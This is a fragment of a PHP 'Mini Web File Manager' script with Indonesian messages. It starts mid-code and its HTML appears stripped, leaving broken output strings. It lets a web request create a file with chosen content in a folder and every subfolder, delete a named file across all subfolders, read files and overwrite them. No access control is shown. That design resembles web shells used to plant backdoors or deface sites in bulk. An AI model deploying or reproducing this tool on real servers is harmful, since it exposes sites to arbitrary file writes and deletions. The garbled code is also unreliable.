❌ Tidak bisa tulis di folder: $dir

"; return; } if (!empty($filename)) { $filepath = rtrim($dir, '/\\') . '/' . $filename; if (!file_exists($filepath)) { if (file_put_contents($filepath, $content)) { echo "

✅ Dibuat: $filepath

"; } else { echo "

❌ Gagal buat: $filepath

"; } } else { echo "

⚠️ Sudah ada: $filepath

"; } } if ($recursive) { $folders = array_filter(glob($dir . '/*'), 'is_dir'); foreach ($folders as $folder) { processCreate($folder, $filename, $content, true); } } } function processDelete($dir, $deleteFile, $recursive) { if (!is_dir($dir) || !is_writable($dir)) { echo "

❌ Tidak bisa akses folder: $dir

"; return; } if (!empty($deleteFile)) { $fileToDelete = rtrim($dir, '/\\') . '/' . $deleteFile; if (file_exists($fileToDelete)) { if (unlink($fileToDelete)) { echo "

🗑️ Dihapus: $fileToDelete

"; } else { echo "

❌ Gagal hapus: $fileToDelete

"; } } else { echo "

ℹ️ Tidak ditemukan: $fileToDelete

"; } } if ($recursive) { $folders = array_filter(glob($dir . '/*'), 'is_dir'); foreach ($folders as $folder) { processDelete($folder, $deleteFile, true); } } } function processOpen($dir, $filename) { $filepath = rtrim($dir, '/\\') . '/' . $filename; if (file_exists($filepath)) { echo "

📂 Isi File: $filepath

"; echo "

"; } else { echo "

ℹ️ File tidak ditemukan: $filepath

"; } } // ===== Save file ===== function processSave($dir, $filename, $content) { $filepath = rtrim($dir, '/\\') . '/' . $filename; if (file_exists($filepath) && is_writable($filepath)) { if (file_put_contents($filepath, $content)) { echo "

💾 File disimpan: $filepath

"; } else { echo "

❌ Gagal simpan file: $filepath

"; } } else { echo "

❌ File tidak bisa diakses: $filepath

"; } } // ===== Eksekusi aksi ===== if (!empty($action)) { if ($action === 'create') processCreate($dir, $filename, $content, $recursive); elseif ($action === 'delete') processDelete($dir, $deleteFile, $recursive); elseif ($action === 'open') processOpen($dir, $filename); elseif ($action === 'save') processSave($dir, $filename, $content); } ?> Mini Web File Manager

🛠️ Mini Web File Manager